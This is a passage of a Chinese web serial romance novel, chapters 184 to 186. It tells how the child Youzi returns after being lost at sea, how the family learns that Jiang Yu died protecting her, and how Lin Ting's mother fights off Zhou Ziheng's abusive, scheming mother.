周自衡冷笑了一声,“这些年没有了你和林建国的庇佑,林听什么时候不振作了?她最难的时候是她一个人硬挺过来的,她不需要你这般毫无意义的关心。” 说完,周自衡对身边的人说,“洛高,送客。” 很快,洛高让人一左一右拎着林振宇的胳膊,将他拖到两百米开外这才推开。 “不许你再进君悦府半步,否则打断你的腿。” …… 周家山庄。 东楼。 朱丽媛迟了一个星期,这才收到林听又回鹏城的消息。 周自衡是她血淋淋生下来的亲生儿子。 可是这个儿了,从小就不听她的话。 她要他装病蒙骗周才昆,以得到见周才昆的机会,从而拿到周才昆的钱。 但是从小到大,周自衡从来不配合她。 所以周自衡从小到大,朱丽媛经常故意把他弄生病。 不是把他泡在冰水里,就是故意拿开水烫他,甚至故意把他推下楼梯。 这些,朱丽媛都不认为,是自己的错。 是周自衡不配合她,不听话,不受她掌握。 所以在朱丽媛的眼里,周自衡是一个不孝顺又忤逆她的儿子。 就像他的婚事一样,他也一直忤逆她。 她想让周自衡娶她好闺蜜的女儿苏菲非。 实在是看不上苏菲菲,她手上还有很多儿媳妇的人选,个个都是头婚。 比林听这个生过孩子的女人,不知道干净多少倍。 这大半年,朱丽媛听说林听被江遇带走了,不知道想了多少次办法,想撮合周自衡和她选中的儿媳妇人选。 没一次得逞。 现在好了,林听回来了,她更没机会说服周自衡了。 报信的人站在她面前,说,“夫人,听说林听是大着肚子回来的,肚子里还揣了一个。肯定是那个姓江的种。就这样,家主还把林听当宝一样宠着疼着。” “不行,我这个当妈的一定要管管。”朱丽媛拍着桌子,起了身。 否则这个儿子如此不清醒,为了这么一个二手货如此没有理智,早晚有一天会死在这个女人手上。 朱丽媛紧紧握着拳头。 就算周自衡死,也应该死得有所价值,而不是为了一个红颜祸水。 否则,她白生他一场了。 本来朱丽媛费尽心思地怀上周自衡,就是为了周家的钱与权。 现在这个不孝子已经当上周家的家主了,她一点好处也没有捞到。 朱丽媛怎么可能甘心? …… 医院。 林听终于听了周自衡的劝,去到了妇产科做产检。 周自衡定的医院,是一家服务很好的私立妇产医院,全程有专人一对一服务。 林听做完各项检查。 最后一项是胎心监测。 听到被放大的胎儿的声音,林听泪流不止。 她想起在监狱那段最难熬的日子,她每天都是和肚子里的柚子说话聊天,以此来安慰自己,这才硬挺过来。 她又想柚子了。 不知道这个时候,她的柚子是否还活着,活着又在哪里,害怕吗,想妈妈吗,肯定和她一样,哭了一场又一场吧。 骨肉在外,生死不明。 这样的牵肠挂肚,简直要人性命。 妈妈情绪激动起来,监测到的胎儿心跳,一次比一次快。 周自衡握紧林听的手,一手替她拭泪,“是不是又想柚子了?” 林听吸了吸鼻子,哭到快要不能呼吸。 她艰难地从喉咙里挤出一个字来,“嗯!” 周自衡俯下身来,吻着躺在胎心监测床上,林听的额头,轻声安抚她,“我们的柚子一定会福大命大,一定可以重新回到我们身边的。洛高联系到的搜救人员,全是那片海域周边国家的军方人员,以及国际上很权威的搜索团队。他们二十四小时,不间断地展开搜救。一定能够找到柚子的。你相信我,也相信江遇,他肯定会保护好柚子的。” 坚定有力又无比温柔的安抚声,让监听到的胎儿的心跳声,又慢慢地恢复到了正常的速度。 林听的情绪,也渐渐平复下来。 “如果我不那么着急催着江遇,急着起程回鹏城,也许就不会遇到水龙卷,也不会遇到那伙海盗。” 周自衡轻轻揉了揉她的脑袋,“这不怪你。” 谁都没有错。 江遇也不过是想以另一种方式,来弥补林听和柚子。 只是行为过激了一些。 周自衡不想他这个兄弟出事。 …… 星河湾。 怡和别苑。 江嘉树小朋友每天闷闷不乐。 想到柚子妹妹,平日里像个顶天立地的小男子汉的他,要哭好几次鼻子。 这天,江嘉树小朋友,拿着柚子妹妹送给他的,一个艾莎公主的魔法棒,眼泪刷刷刷地往下落。 作为男孩子,江嘉树是不喜欢这种女孩子玩的魔法棒的。 柚子妹妹送给他后,他却视若珍宝。 这大半年,柚子妹妹和小听阿姨失踪不见了,江嘉树每天都要拿着这根艾莎公主的魔法棒,发好几次呆。 想柚子妹妹,他就会拿出魔法棒来,一坐就是大半天。 今天江书臣不在家里。 夏静姝在家里照顾孩子。 见到江嘉树又拿着魔法棒哭鼻子,夏静姝拍了拍儿子的脑袋,抱怨道,“又在哭,男子汉有什么好哭的。柚子妹妹确实是很可怜,可是她又不是你的亲妹妹。你亲妈生病住院了,也没见你这么哭过。” 江嘉树瞪着妈妈,“你只是生病了,又不是死掉了,我为什么要哭?” 他想柚子妹妹了。 心里已经很难受了,妈妈还如此凶巴巴的。 夏静姝的火气冒上来,“嘿,你这臭小子,你骂你妈我早死是不是?” “夏静姝女士,你能不能有点同情心?”江嘉树哭着鼻子,“柚子妹妹已经……” 小家伙不愿意提到死亡这件事情。 可是死亡两个字,就是那样在他小小的心灵里扎了根。 他的柚子妹妹,是不是永远也回不来了? 夏静姝还想教训儿子,是她这个当妈的更重要,还是一个没有血缘关系的玩伴更重要。 这时,手机里来了一条微信。 夏静姝低头一看,小心谨慎地删掉了微信内容,生怕被儿了发现似的。 “你就在这里哭吧。妈妈有事,要出去一趟。” 说着,夏静姝上楼去换了一件漂亮的裙子。 鹏城虽然已经春天了,但是气温还是只有二十多度。 可是夏静姝穿得又少又清凉,交代了家里的保姆好好照顾江嘉树,便开着车子离开了怡和别苑。 江书臣回到怡和别苑的时候,已经是夕阳西下了。 保姆做了晚饭,江嘉树不肯吃。 他依旧坐在地毯上,拿着柚子妹妹送给他的艾莎公主魔法棒,睹物思人。 看到儿子眼角挂着眼泪,江书臣把儿子抱在怀里。 他不敢提柚子的名字,怕提起来,这家伙更难过。 这时,江书臣手机里来了一通电话。 拿出来一看,是个陌生的国际号码。 接起电话,那头传来一个算是熟悉的声音,“江先生,我没有周自衡的电话,所以只能打到你这里来。我是杰西。” 杰西? 江遇身边那个雇佣兵保镖? 第184章 柚子回来了,江遇死了 接完杰西的电话,江书臣顾不得儿子还在怀里哭鼻子,赶紧给周自衡和林听打电话。 两人的电话,均是无人接听状态。 江书臣又打了好几通,依然如此。 他赶紧把怀里的江嘉树放到沙发上,揉揉儿子的脑袋,“嘉树,爸爸要出去一趟,你乖乖在家,爸爸一会儿就回来。” 江嘉树没有心情和爸爸说话。 他拿着那根柚子妹妹送的艾莎公主的魔法棒,沉默不言。 连爸爸小跑着出去了,也没有在意。 嗒嗒嗒……没过半分钟,江书臣又跑回来,揉了揉江嘉树的脑袋。 “江嘉,别哭了。” “爸爸刚刚高兴坏了,差点把你给忘了。” “你江遇叔叔身边有个叫杰西的保镖叔叔,刚刚给爸爸打电话了。” “他说柚子妹妹平安无事,很快他就会送柚子妹妹回国了。这些天他们一直被困在海上,刚刚登岸。” 耷拉着脑袋的江嘉树,眼里瞬间有了透亮的光芒,“真的吗,那阿遇叔叔呢,也会和柚子妹妹一起平安回国吗?” “……”一句话,问得江书臣脸上的笑意像是被冰封了一样,瞬间僵住。 电话里,杰西也没有说江遇是否安好。 他只说他和柚子两个人,在海上漂流了二十多天,现在才被出海的渔民救上岸。 两个人。 是没有江遇吗? 江嘉树从小被江遇疼到大。 江遇像是疼自己的亲儿子一样疼江嘉树。 江嘉树早已对江遇产生了深厚的叔侄亲情。 小嘉树又重复问了一遍,“爸爸,阿遇叔叔也一起回来吗?” 落在小嘉树脑袋上的手掌,忍不住在颤抖。 江书臣克制着自己的情绪,尽量让自己的声音平静下来,“应该会的。爸爸先去把这个好消息告诉你小听阿姨和阿衡叔叔。” 江嘉树点头,“好。” 一辆白色的比亚迪高端定制车,从怡和别苑开出来。 这辆高端定制的车子,是江遇请研发团队特意研发出来的,高安全性能的车子。 是江遇出国前,特地送给他的。 同样送了一辆给周自衡。 这些年,江遇在三兄弟的安全问题上,从来不含糊。 他一直心系着三兄弟的性命安全。 握着方向盘的手,用力攥紧。 那浮起来的根根青筋,充满了无言的痛苦。 开着车的江书臣,想到江遇没有和杰西一起平安回来,心里大约已经有了答案。 他很有可能,已经遇难了。 车子停在十字路口停红灯的时候,江书臣埋在方向盘上,双肩颤抖,低声啜泣。 二十多天前,周自衡忽然接到江遇的电话,说是要把林听送回来时,江书臣还想着,等这个混账男人回来好,好好揍他一顿。 可是,他永远没有这个机会了。 他最好的兄弟,已经葬身在了大海里。 车后面响起鸣笛声,江书臣抬头才发现,绿灯已经亮起好几秒了。 他赶紧开着车子,去往君悦府。 君悦府。 朱丽媛按了一遍又一遍的门铃,就是没人给她开门。 “周自衡,我是你妈,你给我开门。” 林听和周自衡在餐厅里吃着晚饭。 这是林听回国后,第一次坐在餐桌,好好吃饭。 门铃声响了一遍又一遍。 林听抬眸问,“周自衡,是谁按门铃。” 周自衡自然知道,是朱丽媛那个让人头疼的女人。 他朝洛高递了一个眼神。 洛高很快关闭了门铃提醒器,然后开门,走出去。 见到洛高一脸铁青走出来,朱丽媛退了两步,“你吓死我了,开门怎么不吱个声儿?” 不等洛高出声,朱丽媛板着脸说,“洛高,你让周自衡出来。那个姓林的怀着江遇的孩子回了国,他也能容忍。他要是太饥饿了,缺女人,告诉我呀,我给他找干干净净的姑娘。干嘛要个野种的二手货色。那姓林的到底哪点好,把我儿子迷得转转团。” 洛高冷声提醒,“夫人,别以为你是家主的亲生母亲,家主就不敢把你这么样。林小姐肚子里怀的孩子是家主的,你再胡说八道,家主真生气了,没你好果子吃。” 隔壁,张淑琴见一个女人在周自衡的门前一直按门铃。 不知道是谁。 宋律风在旁边道,“又是周自衡那个毒蝎心肠的恶毒妈。” 张淑琴立即提高了警惕,“什么,周自衡那恶毒的妈?他不会是来找我们小听的麻烦的吧,不行,我要过去看看。” “不行,我得过去给我们听听撑腰。”张淑琴立马进屋,把周国立怀里盼盼抱给秦姐,“走,有人来欺负我们小听,过去给小听撑腰。” 周国立被张淑琴拉着,边走边问,“谁又来烦我们小听,不会又是那个林振宇吧。” 张淑琴边走边答,“阿衡那个恶心又歹毒的妈,不知道是来找我们小听什么麻烦事来了。” 不到一分钟的时间,张淑琴和周国立来到周自衡的别墅外,听闻朱丽媛一口一个二手货说他们小听。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!张淑琴二话不说,上前拽住朱丽媛的头发,把她往坚硬的石柱上撞去,“你个毒蝎心肠的老女人,自己的儿子坑了一遍又一遍,现在又想坑害我们小听是不是,我让你骂。” 扯着对方的头发,张淑琴撞了一下,一下,又一下。 撞得朱丽媛根本没反应过来是怎么回事,只觉头皮快要被扯掉皮了,脑袋也是嗡嗡嗡响。 脑花快要撞散架了似的,忽然天晕地暗了起来。 朱丽媛哪曾见过这样的架势,哇哇大叫起来。 这些天张淑琴见小听状态不好,本就心疼得不行。 敢有人说他们小听是二手货,简直不想要命了? 张淑琴正是悲痛到无处发泄,这会儿朱丽媛送上门来,她把所有的悲痛都发泄在朱丽媛身上,连着撞了十几下,这才一脚把朱丽媛踢开。 “老不死的,我警告你。下一次你再敢说我们小听半个不字,我见你一次,打你一次。” 洛高本想亲自出手,把朱丽媛“请”走。 没想到半路杀出个如此护崽的张淑琴来。 朱丽媛眼见着眼前的泼妇惹不起,哭着爬起来,“我不会放过你的。” “来,来,来,我看你怎么不会放过我?”张淑琴一边靠近,一边捞起袖子,“尽管放马来。” 这一逼近,逼得朱丽媛连连后退,退了好几步又摔了一跤,爬起来,赶紧落荒而逃。 这一架打完,张淑琴心里痛快了不少。 可是想到她苦命的外孙女柚子,还有她苦命的女儿林听,心里又是一阵难受,“洛高,小听今天怎么样,吃饭了吗?” 洛高如实汇报,“林小姐今天听了家主的话,去了医院做了产检,一切正常。现在正在里面,和家主一起吃晚饭。家主一直在哄她多吃一点。放心吧,家主会照顾好林小姐的。” 张淑琴点点头。 唯一欣慰的是,周自衡这孩子不错,一直如此细致体贴地照顾小听。 正是这个时候,一辆白色的比亚迪停在别墅门前的洋桔梗花园前。 车上走下来的人,是江书臣。 见到众人,江书臣加快步伐,欣喜不已地走过来,“张姨,周叔,好消息。杰西打回来电话,说是明天一早坐最近的航班,带柚子回国。” 张淑琴喜极而泣,“柚子还活着?” 周国立也是喜极而泣,“我们的柚子真的还活着?” 江书臣点头时,也是热泪盈眶,“嗯,柚子还活着。” 周国立多问了一句,“那江遇呢?” 眼里含泪的江书臣,脸色顿时一僵。 拳头用力攥紧,沉声道,“江遇他……没有跟着一起回来。” 周国立又多问了一句,“没有跟着一起回来是什么意思,受伤了,暂时回不来?” 回应周国立的,是江书臣的沉沉叹气气。 张淑琴意识到什么,问,“江遇这个浑蛋男人,不会是被海盗杀了吧?” 江书臣没有回应。 这个问题,只有等明晚柚子和杰西回国后,才能问个清楚明白。 虽然,周国立和张淑琴是恨透了江遇这个男人。 如果不是他,他们的女儿林听不会遭遇那么多的苦难。 但是,两人也不希望江遇就这么死了。 江书臣沉重的脸色,让两人沉默了一阵。 说到底,江遇也是柚子的亲生父亲,可以因为恨意疏远,但他们始终是心善之人,不愿柚子的亲生父亲就这样横死在那群海盗手上。 张淑琴沉沉地叹了一口气,“书臣,你快去把这个好消息告诉小听吧。江遇的事,随后再说。” 哪里用得着江书臣进去告诉林听。 此刻,听到这个好消息的洛高,已经回到了餐厅,站在餐桌前,把这些告诉了林听。 吧嗒! 林听手中的一对陶瓷筷子,落在地上,碎成两截。 她缓缓站起来,“洛高,你说的都是真的,杰西明天就带柚子回国了?” 洛高点点头,“嗯,我查了,明天最早的一班航班是六点多的。回到国内的鹏城,才晚上八点钟。明天就能见到柚子了。” 意外惊喜太过突然! 林听被这阵惊喜,冲得忽然五觉失常。 双脚一软,差点没站稳,好在旁边的周自衡及时扶住了她。 她喜极而泣,“洛高,你说的都是真的吗?” “是真的。”这声回应,来自从餐厅外走来的江书臣,“小听,杰西亲自给我打的电话,我还听到了柚子的声音。” 林听欣喜的泪水落下来,“那你有杰西的联系方式吗,我打给他,听听柚子的声音。” 江书臣皱眉,“杰西是用当地的电话打回来的,他没有留下联络号码。可能他暂时没有通讯设备,急着回国,也没准备。” 周自衡扶着林听,问,“杰西还在电话里说了什么,柚子情况怎么样,都还好吧?” 江书臣点头,“柚子只有一些轻伤,不碍事的。” 周自衡又问,“那江遇呢?” 江书臣沉默了几秒钟,“等明天杰西带着柚子回国,你亲自问他吧。” 本小章还未完,请点击下一页继续阅读后面精彩内容!这是一个沉重的话题。 沉重得让江书臣胸口被紧紧一攥,刀割般疼痛。 …… 翌日。 机场。 林听坚持要亲自来机场接机。 他们在柚子和杰西的那辆航班接机处,等了许久了。 飞机是八点整落的。 林听六点多,晚饭没吃就等在这里。 她挺着大大的肚子,来回跺步,遥遥张望。 就怕飞机误点。 幸运的是,这架载着柚子和杰西的航班,准时准点落地。 看到额头上包着纱布的柚子被杰西抱出来时,林听不顾自己大着肚子,加快步伐,大步迎上去。 而杰西怀里的柚子,也是挣扎着下了地,朝着妈妈快速奔跑过来。 周自衡一路搀扶着林听,就怕她摔跤。 身后的张淑琴,周国立,落落,宋律风,江书臣,还有江嘉树,也随其后,三步并作两步走,一起齐刷刷地迎上去。 柚子扑过来时,周自衡把她抱起来,抱到林听的面前。 林听立即紧紧拥着柚子,泪水止也止不住。 两母女抱在一起,哭成一团,旁边的人无一不感动落泪。 “妈妈,柚子好想你,柚子以为再也见不到你了。” 小妮子扎在妈妈的怀抱里,不肯出来。 虽然被爸爸周自衡抱着,却紧紧地缠着林听的脖颈。 泪水浸湿了妈妈的衣肩,湿嗒嗒地往下落。 林听一刻不松手地抱着怀里的小人儿,声音是沙哑的,“柚子,妈妈也好想你。妈妈以为再也见不到你了。” “妈妈!” “柚子!” 张淑琴和周国立也走上来,一家人抱在一起。 旁边的江书臣,看向站在一旁的杰西,“杰西,江遇呢?” 杰西缓了好几秒钟,才沉沉道,“……Mr江为了救柚子,身上中了一枪,手上又被砍了很多刀,最后掉下去了。” 当时情况危急,江遇给杰西的最后任务,是务必带着柚子安全回国。 他眼睁睁地看着江遇从第五层船舱掉下去。 就算没有掉进海里,身上的那枪,和那些刀伤,也会要了他的命。 这个消息对江书臣来说,无疑是噩耗。 抱了柚子好一会儿,林听才抬起头来,擦掉柚子小脸颊上的泪水,哽咽着问,“柚子,那个人……” 那个人,指的是江遇。 林听没见着江遇和他们一起回来,便知道他已经凶多吉少。 她还是想从柚子的嘴里,亲耳听见。 柚子眼里的泪花,一波一波滚滚地涌出来,“他死了……” 那杆枪是对准柚子的。 是江遇挡在了柚子面前。 子弹穿破了他的身躯。 还有长长的月亮砍刀,一刀又一刀砍在他的手臂上。 直到他死之前,柚子都没有叫他一声爸爸…… 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第185章 要准备婚礼吗? 他死了? 这边林听还没反应过来。 身后,江书臣抓着杰西的衣领,用力地摇晃着。 “你胡说八道什么?” “江遇怎么可能死掉?” “江遇不会死。” 江书臣和江遇从小到大,当了这么多年的兄弟。 两人心灵相通,比亲兄弟还亲。 多少欢声笑语此刻间,如潮水一样涌进江书臣的脑海里。 那个鲜活的男人,怎么可能就死了呢。 绝对不可能。 “江遇在哪里,你告诉我,江遇到底在哪里,是不是受伤了,残废了?” “所以他不敢面对大家?” “他在哪,我去接他。” 面对江书臣的失控,杰西一脸沉默。 杰西任由江书臣拎着他的衣领又摇又晃。 无论江书臣怎么摇晃他,他都只有一道沉重的回答声,“Mr江真的已经死了。” “你胡说八道。” 一记重拳落在杰西有着一道疤痕的右脸上。 向来沉稳淡定的江书臣,从来不会这般失控。 这是他第一次控制不住自己,这般打人。 挨了重拳的杰西,语气反而更加坚定,“Mr江真的已经死了!” 这个噩耗对周自衡来说,同样,无疑也是一记重拳。 他抱着怀里的柚子,后背紧崩着,用力攥住柚子的衣衫,深深地吸了一口气。 尽管江遇做了很多的浑蛋事情。 可江遇始终是他的兄弟。 周自衡永远记得,当年他在周家受排挤,人人都不待见他,虐待他,算计他,坑害他,只有江遇和江书臣愿意和他做朋友。 宽阔的肩膀像是被无形的巨石碾过。 每一次呼吸,心脏都带是带着玻璃碴滑过的涩痛,指尖也不受自控地发麻,颤抖。 唯有紧紧抱着怀里的柚子。 见柚子面前的林听,状态不太好,他赶紧抽了一只手,扶着林听的手臂,“你还好吧?” 林听的眼神是散的。 像是蒙着一层散不开的雾气一样。 周自衡说话时,她的目光停留在半空的某个焦点上,没有聚焦,只有一片死水般的空茫。 仿佛灵魂被生生剜去了一块,只剩下身躯还在强撑着。 直到周自衡把柚子单手抱在怀里,又把林听搂过来,揉了揉她的脑袋,她的身体这才无意识地动了一下。 抬眸时,像是不知道发生什么事了似的,茫然地看向周自衡。 周自衡知道,江遇始终是和林听从小青梅竹马长大的。 不管他们的感情破裂成什么样子,林听的整个青春里都有江遇抹之不去的记忆。 唯有抱紧她,才能给她安慰的力量。 结实有力的长臂,温柔又小心翼翼地圈着林听虽是大着肚子,却依旧纤细瘦肉的双肩。 林听主动靠在周自衡的怀里,又笑又哭。 “都是他活该的。” “如果他不把我和柚子掳去那个不知道国家地名的小岛上,怎么可能会发生这么多的事情?” 江遇甚至差点害她,失去她最爱的柚子。 他就是活该的。 她喃喃地重复着这句话,“他活该的,他活该的……” 可是,她一点也不快乐。 那个鲜活的江遇,就这样消失在了人世间。 带走了他一切的罪孽,却依然无法抹掉林听曾经经历的那些痛苦。 真正应该赎罪的那个人,是江遇。 他这样一死了之,算什么? 要她和柚子原谅他吗? 不可能……就算是他死了,她们依然不会得原谅江遇,可是胸口为什么会有玻璃碴划过的疼痛感? 周自衡怕林听情绪失控,把怀里的柚子递给了宋律风。 抱着柚子的宋律风安慰着林听,“小听,事情已经发生了。” 林听从周自衡的怀里抬起头来,抚着大大的肚子,拼命地摇头,“我没有难过,他是活该的。” “小听……”张淑琴最了解自己这个女儿。 她虽然恨着畜生不如的江遇,可是她的心没有那么狠毒,她从来没有想过要江遇死。 她只想着余生各自安好,各走各的独木桥,再无瓜葛。 张淑琴抓着林听冰凉的手,“这样对江遇来说,未尝不是解脱。他太偏执了。” 他要是还活着,看着林听和周自衡在一起,说不定还会说出什么偏执的事情来。 死了,未尝不是解脱! 林听还是和刚才一样,流着泪,重复着,“他活该的……” “对,对,对,小听,江遇活该的。”林振宇走上前,安慰她,“你别难过。你还怀着周自衡的孩子,江遇这个大渣男要是不把你掳走,也不会发生这些事情,他死有余辜……” 周国立一把将林振宇拉开,“你就闭嘴吧,不会安慰人,别乱安慰人。” 所有人都知道,林听虽然嘴上说着江遇活该的,可是她心里也不好受。 就林振宇这个活宝,不知道自己亲妹妹的心思吗? 张淑琴瞪了林振宇一眼,压低了声音,狠狠警告,“你给我闭嘴!” 这章没有结束,请点击下一页继续阅读!林振宇不知道自己哪里说错话了。 他又望向抱着大着肚子的林听的周自衡,道:“周自衡,我妹妹肚子这么大了,你什么时候娶她?” 张淑琴用力掐了林振宇一把。 几差没把他的肉给掐掉,“你能不能别说话?” “你掐我干嘛?” “叫你闭嘴。” “我说的是实话啊,我妹妹肚子都这么大了,周自衡应该安排娶她的事情了。” “振宇,少说两句。”还是林建国站出来,拉了林振宇一把,林振宇才没再继续说话。 林听是他从小宠到大的女儿,林建国又怎么可能不明白,林听虽然恨江遇,却也不愿意他就这样好端端的死掉了。 他压低了声音,在林振宇面前提醒道,“你妹妹肯定是要风风光光嫁给周自衡的,到时候我会替她安排婚礼,给她准备嫁妆。但是江遇刚刚去世,这件事情缓一缓再说。” 一行人离开了机场。 杰西跟着周自衡和林听,回了君悦府。 周自衡安顿了林听和柚子,单独留下了杰西。 “这一路辛苦你了!” 杰西站在周自衡面前,“周先生,Mr江死之前吩咐过,以后要我保护林小姐和小柚子的生命安全。所以,请您允许我以后留在林小姐和小柚子身边。” “她们的安全我自有安排。” 就算这个国际雇佣兵组织,口碑再好,周自衡还是更信任自己身边的洛高。 周自衡淡淡道,“你现在自由了。” “我收了Mr江的钱,和他签了五年的生死合同。Mr江生前的遗言,就是要我好好保护林小姐和柚子母女俩。放心,我不会打扰到你们的生活,但我会在暗处做好我的分内之事。这是我的联系方式,周先生要是有什么需要,尽管开口。” 说着,蓝眼睛的杰西,递给周自衡一张名片。 随即离开这间屋子。 走远两步,又回过头来,看着神色隐藏在一片阴云中的周自衡,“周先生,还有,Mr江死之前让我转告你,如果你敢对林小姐不好,他做鬼也不会放过你。” …… 柚子回国的消息传开后。 周自衡的母亲朱丽媛,三番五次来到君悦府想要见周自衡,人影还没有见到,就被洛高轰走了。 朱丽媛不甘心。 一天往君悦府跑了好几趟。 这一次有备而来。 拿着个大喇叭,在周自衡的别墅外,大声吆喝。 “周自衡,林听就是个扫把星,一脸克夫相。” “江遇就被她克死的,你不能娶她。” 周自衡的别墅装了防噪音的玻璃。 这玻璃不仅防噪音,还防爆,防弹,防撞。 就是朱丽媛拿着大喇叭在外面喊,里面的人也听不见。 洛高知道朱丽媛这样闹事,叫了两个人,一左一右拖着朱丽缓的胳膊将人强行拖走。 然后报警处理。 朱丽媛被拖了一半,一盆水泼过来。 那是张淑琴端出来的水,全部泼在朱丽媛的身上。 “你这个泼妇,我女儿哪里得罪你了,你要这么诋毁她的名声?” “我看你才是克夫相。周才昆就是因为睡了你这种倒霉女人,才会被自己的亲儿子囚禁起来。” “怎么,难不成你也想让周自衡把你也囚禁起来?” 洛高站在旁边,“淑琴阿姨,你这个建议可以。我回头就告诉我家家主。” 一身湿淋淋的朱丽媛,狼狈至极地望着洛高,“他敢,我是他妈。” 张淑琴哼了一声,“你也配?我告诉你,以后周自衡是要娶我女儿为妻的,我这个当丈母娘的才是周自衡的未来的妈。” 朱丽媛想要扑上去和张淑琴打架,却被洛高的手下死死地摁着。 既然是摁着,她仍然破口大骂,“你这个老不死的,那是我儿子,你也配?” 哗啦! 又是一盆水泼在朱丽媛的身上。 旁边的周国立问,“老婆子,还要水吗,还要我去端。” 张淑琴一手叉腰,把空盆递给周国立,“你去给我端盆尿出来,这老女人要是再敢说三道四,泼她一身尿。” 对付泼妇,就要对更泼妇的办法。 他们的女儿林听命已经够苦了。 眼看着好不容易回到鹏城,就要嫁给周自衡,这个老女人又出来搞事情。 张淑琴怎么肯让她破坏小听和周自衡的婚事? 门都没有。 周国立很快端了一盆尿出来。 那是周国立让盼盼现拉的尿,兑了水。 张淑琴接过去,“洛高,让你的两个手下让开。” 说着,哗啦一声,对着朱丽媛劈头盖脑地泼下去。 一股恶臭扑面而来,朱丽媛差点被呛到。 狼狈的她只顾清理身上的污水,哪还有功夫和张淑琴斗嘴? 张淑琴终于乳腺通畅了,叉起腰来,开始狠狠警告: “朱丽媛,你不要以为我们小听没人疼没人爱。” “有的是人保护她。” “你要是再敢来惹事,我扒你的皮,抽你的筋。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!说完,她把一个铁盆,砸在朱丽媛面前,“滚!” 正好这个时候,公安同志赶过来,“朱女士,我们接到报案,说你扰乱公共秩序,噪音扰民,甚至侵犯他人名誉权,有诽谤侮辱行为。请跟我们走一趟。” “哎!你们干什么,我被这个死女人泼了一身尿,你们不抓她,反倒抓我,还有没有王法了?” 手铐铐在朱丽媛手上时,朱丽媛又要准备撒泼了。 张淑琴倒是态度极好,“同志,你们也听到了,她骂我死女人。” 朱丽媛被带走了。 洛高回到别墅里。 一身矜贵的周自衡,站在落地窗前,看着被带上警车的朱丽媛,脸色阴沉。 “找个律师,让她多在拘留所呆一段日子。” “等她出来后,把让她和老爷子作半,就一直呆在东楼吧。” 周老爷子周才昆,几乎已经被囚禁在了山庄东楼。 以后这个朱丽媛,也别想再出来了。 这两个人一个是他的父亲,一个是他的母亲。 却是此生让他最痛恨的人。 “不要让她再出现在林听面前。” 唯有林听和柚子,还有林听肚子里的孩子,才是他这辈子要守护的人。 警车带着朱丽媛,消失在小区的内部弯道。 洛高站在身后,问,“家主,林小姐和柚子都平安回来了。您看,您和林小姐的婚事?” 这是在林听失踪之前,周自衡便已经吩咐洛高去准备的事情。 只是因为林听的突然失踪,暂停了。 洛高又问,“我是继续去准备吗,家主用不用再安排一场真挚的求婚?” 周自衡挺拔伟岸的身影,映在夕阳余晖的逆光中。 投在地上的影子,透着一层淡淡的愁容。 他深吸了一口气,指节用力攥紧,“过段日子吧。” 江遇的去世,林听嘴上说着他是活该的,其实心里也不会太好受。 若是在这个时候求婚,就算是林听答应了,周自衡也内心不安。 毕竟江遇也曾是他最好的兄弟。 “她大着肚子,办婚礼也很辛苦。” 婚纱也是照着她未怀孕的时候定制的。 不如等到这个孩子生下来后,再求婚,给她办一场浪漫的婚礼。 那个时候,大家对江遇去世的痛苦也会随着时间的推移,而淡忘一些。 周自衡转身,朝着旋转楼梯走上去,到了柚子的房间门口,站在那里,并没有进去。 门里,林听和柚子坐在玩具桌前。 柚子面前堆了一堆的玩具,她却没有什么心思玩。 手上的一个玩具,被林听拿开,随即拉着女儿的一双小手,耐心地和女儿讲着话。 “柚子,那个人发生了这样的事情,你是不是……心里也很难过?” 柚子点点头,泪水砸落下来。 要不是柚子从小经历的多,她亲眼见到江遇死在她面前,恐怕会留下一辈子的心理阴影。 小小的人儿,被林听抱紧怀里,“那你告诉妈妈,你是不是已经原谅他了。没关系的,不管你做什么样的决定,妈妈都支持你。” 依偎在妈妈怀里的柚子,感受到妈妈强有力的心跳声,身份里注入了一股强有力的安全感。 太久没有这样被妈妈抱着。 柚子深深扎在妈妈的怀抱里,不愿意出来。 小丫头的泪水浸湿了林听胸前的衣襟,“妈妈,那个人曾经害死了你。我没有办法原谅他,但是我不希望他死掉。我还是更喜欢周爸爸,但是我真的不希望那个人就这样死掉了……” 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第186章 你妈不会出轨 柚子知道。 这个世界上,对她来说最重要的人是妈妈。 那个人对妈妈的绝情绝义,柚子不可能忘掉。 把妈妈从鬼门边上拉回来的人,是周爸爸。 让妈妈的脸上有了幸福微笑的人,也是周爸爸。 打从柚子第一眼见到周爸爸开始,周爸爸对她们母女俩就比那个人要耐心、温柔、体贴。 妈妈只有和周爸爸在一起,才会幸福。 所以柚子不愿意原谅那个曾经对她们母女俩绝情绝义的男人。 哪怕他确实是为了保护她,才死掉的。 偏偏她和那个人之间,有着割不断的血缘亲情。 这段血缘亲情,像冰锥子一样扎在柚子的心里,又像是被烤得通红的锁链一样将她捆绑。 割不断,放不下。 也没办法像正常的父女一样相处。 它扎根在柚子的心底,哪怕到了最后,柚子也十分地恨江遇。 为什么要带她和妈妈去那座离着周爸爸,无比遥远的小岛? 既然要赎罪,为什么不选择默默的成全,祝福? 为什么不好好地赎罪,非要以这种偏激的方式? 要赎罪,不是应该好好地活着赎罪吗? 为什么要死掉? 死掉了,妈妈和妈妈过去遭遇的那些困难,就被一笔勾销吗? 不能! 这个道理,连她一个六岁的小女孩也能懂。 那个人不懂吗? 她还是恨那个人,可是看到他真的死在自己的面前时,胸口却很疼。 两只乌溜溜的大眼睛,浸满了潮湿痛苦的泪水。 轻轻一眨眼,眼泪滚滚而落。 落在林听的衣衫上,浸湿了好大一片。 林听心疼地抱着女儿,“妈妈都懂,妈妈懂,我们不原谅。柚子,听着,那个人的死,你和妈妈都没有半点错,你不要内疚和自责了。你说得对,周爸爸对你比那个人好。以后谁对你好,你就喜欢谁。不要憋屈地活着。” 柚子点点头时,感觉到妈妈的肚子在鼓包,“妈妈,妹妹在动。” “妈妈。”柚子抹着肚子上鼓起来的包。 它很快消下去,又在妈妈肚子的另一个地方鼓起来。 好可爱的小家伙。 “妈妈,等妹妹生出来以后,我们和爸爸一家四口,好好生活在一起。” “我们再也不要分开了。” 门外,周自衡听到小丫头这样暖心的话语,心里是欣慰的。 却也是复杂的。 一直以来,周自衡不想让柚子有任何心理阴影。 但是江遇的去世,必定会在她的成长道路上,留下不段不可磨灭的阴影。 只是柚子,不愿意在大家面前表露出来。 杰西告诉他,这二十多天来,柚子晚上老是做噩梦。 